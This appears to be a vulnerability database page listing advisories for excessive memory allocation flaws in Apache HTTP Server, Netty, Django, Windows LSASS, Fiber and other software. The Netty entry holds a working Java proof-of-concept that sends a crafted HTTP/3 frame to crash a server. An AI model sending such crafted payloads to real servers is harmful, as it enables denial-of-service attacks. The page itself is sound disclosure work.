Common Weakness Enumeration
CWE-789
AllowedMemory Allocation with Excessive Size Value
Abstraction: Variant · Status: Draft
The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.
444 vulnerabilities reference this CWE, most recent first.
GHSA-262V-G5H9-6MC6
Vulnerability from github – Published: 2026-06-08 18:31 – Updated: 2026-08-19 12:32
VLAI
Details
Memory Allocation with Excessive Size Value vulnerability in Apache HTTP Server's mod_http leads to denial of service via malicious HTTP requests.
This issue affects Apache HTTP Server: from 2.4.17 through 2.4.67.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-49975"
],
"database_specific": {
"cwe_ids": [
"CWE-409",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-08T16:16:44Z",
"severity": "HIGH"
},
"details": "Memory Allocation with Excessive Size Value vulnerability in Apache HTTP Server\u0027s mod_http leads to denial of service via malicious HTTP requests.\n\nThis issue affects Apache HTTP Server: from 2.4.17 through 2.4.67.",
"id": "GHSA-262v-g5h9-6mc6",
"modified": "2026-08-19T12:32:16Z",
"published": "2026-06-08T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49975"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49975.json"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/06/msg00009.html"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "https://github.com/EQSTLab/CVE-2026-49975"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2485371"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-49975"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55992"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:55930"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50572"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50538"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36846"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36831"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36373"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27201"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27200"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:27114"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25225"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25090"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25057"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:25042"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/03/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/08/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-272X-GPF6-6C9F
Vulnerability from github – Published: 2026-03-24 21:31 – Updated: 2026-03-24 21:31
VLAI
Details
NVIDIA Triton Inference Server contains a vulnerability in the HTTP endpoint where an attacker may cause a denial of service by providing a large compressed payload. A successful exploit of this vulnerability may lead to denial of service.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-24158"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-24T21:16:27Z",
"severity": "HIGH"
},
"details": "NVIDIA Triton Inference Server contains a vulnerability in the HTTP endpoint where an attacker may cause a denial of service by providing a large compressed payload. A successful exploit of this vulnerability may lead to denial of service.",
"id": "GHSA-272x-gpf6-6c9f",
"modified": "2026-03-24T21:31:24Z",
"published": "2026-03-24T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24158"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5790"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24158"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27G3-CP2G-22PW
Vulnerability from github – Published: 2024-10-23 18:33 – Updated: 2024-10-23 18:33
VLAI
Details
A vulnerability in the VPN and management web servers of the Cisco Adaptive Security Virtual Appliance (ASAv) and Cisco Secure Firewall Threat Defense Virtual (FTDv), formerly Cisco Firepower Threat Defense Virtual, platforms could allow an unauthenticated, remote attacker to cause the virtual devices to run out of system memory, which could cause SSL VPN connection processing to slow down and eventually cease all together.
This vulnerability is due to a lack of proper memory management for new incoming SSL/TLS connections on the virtual platforms. An attacker could exploit this vulnerability by sending a large number of new incoming SSL/TLS connections to the targeted virtual platform. A successful exploit could allow the attacker to deplete system memory, resulting in a denial of service (DoS) condition. The memory could be reclaimed slowly if the attack traffic is stopped, but a manual reload may be required to restore operations quickly.
Severity
8.6 (High)
{
"affected": [],
"aliases": [
"CVE-2024-20260"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-23T17:15:13Z",
"severity": "HIGH"
},
"details": "A vulnerability in the VPN and management web servers of the Cisco Adaptive Security Virtual Appliance (ASAv) and Cisco Secure Firewall Threat Defense Virtual (FTDv), formerly Cisco Firepower Threat Defense Virtual, platforms could allow an unauthenticated, remote attacker to cause the virtual devices to run out of system memory, which could cause SSL VPN connection processing to slow down and eventually cease all together.\n\nThis vulnerability is due to a lack of proper memory management for new incoming SSL/TLS connections on the virtual platforms. An attacker could exploit this vulnerability by sending a large number of new incoming SSL/TLS connections to the targeted virtual platform. A successful exploit could allow the attacker to deplete system memory,\u0026nbsp;resulting in a denial of service (DoS) condition. The memory could be reclaimed slowly if the attack traffic is stopped, but a manual reload may be required to restore operations quickly.",
"id": "GHSA-27g3-cp2g-22pw",
"modified": "2024-10-23T18:33:08Z",
"published": "2024-10-23T18:33:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20260"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftdvirtual-dos-MuenGnYR"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-29F9-WQMC-G6Q2
Vulnerability from github – Published: 2026-01-31 00:30 – Updated: 2026-02-05 21:32
VLAI
Details
IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5.0 - 11.5.9 is vulnerable to a denial of service as the server may crash when an authenticated user creates a specially crafted query.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-2668"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-30T22:15:52Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server)\u00a011.5.0 - 11.5.9 is vulnerable to a denial of service as the server may crash when an authenticated user creates a specially crafted query.",
"id": "GHSA-29f9-wqmc-g6q2",
"modified": "2026-02-05T21:32:38Z",
"published": "2026-01-31T00:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2668"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7257518"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2C5C-CHWR-9HQW
Vulnerability from github – Published: 2026-05-07 00:19 – Updated: 2026-06-30 22:27
VLAI
Summary
Netty HTTP/3 QPACK literal unbounded allocation
Details
Summary
When Netty decodes HTTP/3 headers, it sometimes runs new byte[length] using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).
Details
When decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length].
PoC
The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target new byte[length].
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
AtomicReference<Throwable> serverErrors = new AtomicReference<>();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverErrors.set(cause.getCause());
} else {
serverErrors.set(cause);
}
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10000000)
.initialMaxStreamDataBidirectionalLocal(1000000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
header.writeByte(0x01);
header.writeByte(0x08);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x27);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x80);
header.writeByte(0x04);
rawStream.writeAndFlush(header).sync();
assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large byte[] allocations during QPACK literal decoding.
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42582"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:19:21Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte).\n\n### Details\nWhen decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length \u003c= in.readableBytes()` before `new byte[length]`.\n\n### PoC\nThe test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1\u202fGiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`.\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n AtomicReference\u003cThrowable\u003e serverErrors = new AtomicReference\u003c\u003e();\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverErrors.set(cause.getCause());\n } else {\n serverErrors.set(cause);\n }\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10000000)\n .initialMaxStreamDataBidirectionalLocal(1000000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n header.writeByte(0x01);\n header.writeByte(0x08);\n\n header.writeByte(0x00);\n header.writeByte(0x00);\n\n header.writeByte(0x27);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x80);\n header.writeByte(0x04);\n\n rawStream.writeAndFlush(header).sync();\n\n assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nThe server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.",
"id": "GHSA-2c5c-chwr-9hqw",
"modified": "2026-06-30T22:27:49Z",
"published": "2026-05-07T00:19:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-2c5c-chwr-9hqw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42582"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty HTTP/3 QPACK literal unbounded allocation"
}
GHSA-2CWQ-PWFR-WCW3
Vulnerability from github – Published: 2026-05-06 23:05 – Updated: 2026-05-14 20:49
VLAI
Summary
Nerdbank.MessagePack: Attacker-controlled stackalloc in DateTime decoding causes process-terminating StackOverflowException
Details
Summary
Nerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a StackOverflowException, which is not catchable by user code and terminates the process.
Impact
Applications are impacted if they deserialize MessagePack data from untrusted or attacker-controlled sources using Nerdbank.MessagePack and the target type contains a DateTime value.
A small malicious payload can cause process termination, resulting in a denial of service. This may affect services, APIs, workers, message consumers, or other long-running processes that deserialize untrusted MessagePack input.
The issue occurs because DateTime timestamp extension decoding derives tokenSize from the attacker-controlled extension length before validating that the timestamp length is one of the legal MessagePack timestamp sizes: 4, 8, or 12 bytes. When the buffer is incomplete, that unvalidated size is propagated to the streaming reader slow path, where it is used in a stackalloc.
Patches
The 1.1.62 version contains the fix for this security vulnerability.
Workarounds
If upgrading is not yet possible, avoid deserializing untrusted MessagePack payloads into type graphs that may contain DateTime fields or properties.
Input byte-size limits alone may not fully mitigate this issue, because the malicious payload can be small while declaring a very large extension length. Possible mitigations include:
- Pre-validating MessagePack extension headers before deserialization and rejecting timestamp extensions whose length is not 4, 8, or 12 bytes.
- Rejecting or filtering extension type
-1timestamp values from untrusted input unless they are known to be valid. - Running deserialization of untrusted payloads in an isolated process that can be safely restarted after termination.
- Restricting MessagePack deserialization to trusted producers until a patched version is available.
Resources
- CWE-789: Uncontrolled Memory Allocation: https://cwe.mitre.org/data/definitions/789.html
- MessagePack timestamp extension specification: https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Nerdbank.MessagePack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.62"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44375"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:05:52Z",
"nvd_published_at": "2026-05-14T15:16:48Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNerdbank.MessagePack contains an uncontrolled stack allocation vulnerability in DateTime decoding. A malicious MessagePack payload can declare an oversized timestamp extension length, causing the reader to allocate an attacker-controlled number of bytes on the stack. This can trigger a `StackOverflowException`, which is not catchable by user code and terminates the process.\n\n### Impact\n\nApplications are impacted if they deserialize MessagePack data from untrusted or attacker-controlled sources using Nerdbank.MessagePack and the target type contains a `DateTime` value.\n\nA small malicious payload can cause process termination, resulting in a denial of service. This may affect services, APIs, workers, message consumers, or other long-running processes that deserialize untrusted MessagePack input.\n\nThe issue occurs because DateTime timestamp extension decoding derives `tokenSize` from the attacker-controlled extension length before validating that the timestamp length is one of the legal MessagePack timestamp sizes: 4, 8, or 12 bytes. When the buffer is incomplete, that unvalidated size is propagated to the streaming reader slow path, where it is used in a `stackalloc`.\n\n### Patches\n\nThe 1.1.62 version contains the fix for this security vulnerability.\n\n### Workarounds\n\nIf upgrading is not yet possible, avoid deserializing untrusted MessagePack payloads into type graphs that may contain `DateTime` fields or properties.\n\nInput byte-size limits alone may not fully mitigate this issue, because the malicious payload can be small while declaring a very large extension length. Possible mitigations include:\n\n- Pre-validating MessagePack extension headers before deserialization and rejecting timestamp extensions whose length is not 4, 8, or 12 bytes.\n- Rejecting or filtering extension type `-1` timestamp values from untrusted input unless they are known to be valid.\n- Running deserialization of untrusted payloads in an isolated process that can be safely restarted after termination.\n- Restricting MessagePack deserialization to trusted producers until a patched version is available.\n\n### Resources\n\n- CWE-789: Uncontrolled Memory Allocation: https://cwe.mitre.org/data/definitions/789.html\n- MessagePack timestamp extension specification: https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type",
"id": "GHSA-2cwq-pwfr-wcw3",
"modified": "2026-05-14T20:49:35Z",
"published": "2026-05-06T23:05:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-2cwq-pwfr-wcw3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44375"
},
{
"type": "WEB",
"url": "https://github.com/AArnott/Nerdbank.MessagePack/pull/941"
},
{
"type": "WEB",
"url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/7d1eb319cfabe7280e70699946c9a48579fa2f30"
},
{
"type": "PACKAGE",
"url": "https://github.com/AArnott/Nerdbank.MessagePack"
},
{
"type": "WEB",
"url": "https://github.com/AArnott/Nerdbank.MessagePack/releases/tag/v1.1.62"
},
{
"type": "WEB",
"url": "https://github.com/msgpack/msgpack/blob/master/spec.md#timestamp-extension-type"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nerdbank.MessagePack: Attacker-controlled stackalloc in DateTime decoding causes process-terminating StackOverflowException"
}
GHSA-2F9F-GQ7V-9H6M
Vulnerability from github – Published: 2026-05-05 09:31 – Updated: 2026-07-21 20:01
VLAI
Summary
Apache Thrift has a Memory Allocation with Excessive Size Value Vulnerability
Details
Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.
This issue affects Apache Thrift: before 0.23.0.
Users are recommended to upgrade to version 0.23.0, which fixes the issue.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "thrift"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43868"
],
"database_specific": {
"cwe_ids": [
"CWE-1285",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:21:11Z",
"nvd_published_at": "2026-05-05T09:16:04Z",
"severity": "MODERATE"
},
"details": "Memory Allocation with Excessive Size Value vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version [0.23.0](https://github.com/apache/thrift/releases/tag/v0.23.0), which fixes the issue.",
"id": "GHSA-2f9f-gq7v-9h6m",
"modified": "2026-07-21T20:01:39Z",
"published": "2026-05-05T09:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43868"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/d5152211af61f850ec393604316804096dd4632e"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:26586"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:42644"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-43868"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466670"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/thrift"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/zj76dtwnbbs1m7z3focf4wd51pqpsmn9"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43868.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Apache Thrift has a Memory Allocation with Excessive Size Value Vulnerability"
}
GHSA-2F9M-QHXG-W5V5
Vulnerability from github – Published: 2026-08-04 18:31 – Updated: 2026-08-04 18:31
VLAI
Details
An issue was discovered in Django 5.2 before 5.2.17 and 6.0 before 6.0.8.
django.utils.translation.check_for_language() is subject to a potential denial-of-service attack when given many distinct, very long language codes, which are retained as keys in an in-memory cache and consume process memory. Such codes reach the function through the django.views.i18n.set_language() view, which is not routed by default. The consumed memory is bounded, since request data is limited by the DATA_UPLOAD_MAX_MEMORY_SIZE setting (default 2.5 MB) and the cache holds a fixed maximum number of entries.
Earlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.
Django would like to thank Jaeyoung Jang for reporting this issue.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-15337"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-04T17:16:46Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Django 5.2 before 5.2.17 and 6.0 before 6.0.8.\n`django.utils.translation.check_for_language()` is subject to a potential denial-of-service attack when given many distinct, very long language codes, which are retained as keys in an in-memory cache and consume process memory. Such codes reach the function through the `django.views.i18n.set_language()` view, which is not routed by default. The consumed memory is bounded, since request data is limited by the `DATA_UPLOAD_MAX_MEMORY_SIZE` setting (default 2.5 MB) and the cache holds a fixed maximum number of entries.\nEarlier, unsupported Django series (such as 5.1.x, 5.0.x, and 4.2.x) were not evaluated and may also be affected.\nDjango would like to thank Jaeyoung Jang for reporting this issue.",
"id": "GHSA-2f9m-qhxg-w5v5",
"modified": "2026-08-04T18:31:27Z",
"published": "2026-08-04T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15337"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/224dbc832586ad5cfb0237c2ff30d14baeaddc6f"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/27137e655e442e81095f1f8f77ff3870d9fdf169"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/5b3523d29be25948e1dd90b3863a002f00fc865f"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/c72a5dbb64d0777f3f471f1be94e8b2ca91e0959"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2026/aug/04/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2JV5-2QVR-82QR
Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31
VLAI
Details
Memory allocation with excessive size value in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-40378"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:16:47Z",
"severity": "HIGH"
},
"details": "Memory allocation with excessive size value in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-2jv5-2qvr-82qr",
"modified": "2026-07-14T18:31:57Z",
"published": "2026-07-14T18:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40378"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MR3-M5Q5-WGP6
Vulnerability from github – Published: 2026-02-24 20:57 – Updated: 2026-02-27 20:37
VLAI
Summary
Fiber is Vulnerable to Denial of Service via Flash Cookie Unbounded Allocation
Details
Summary
The use of the fiber_flash cookie can force an unbounded allocation on any server. A crafted 10-character cookie value triggers an attempt to allocate up to 85GB of memory via unvalidated msgpack deserialization. No authentication is required. Every GoFiber v3 endpoint is affected regardless of whether the application uses flash messages.
Details
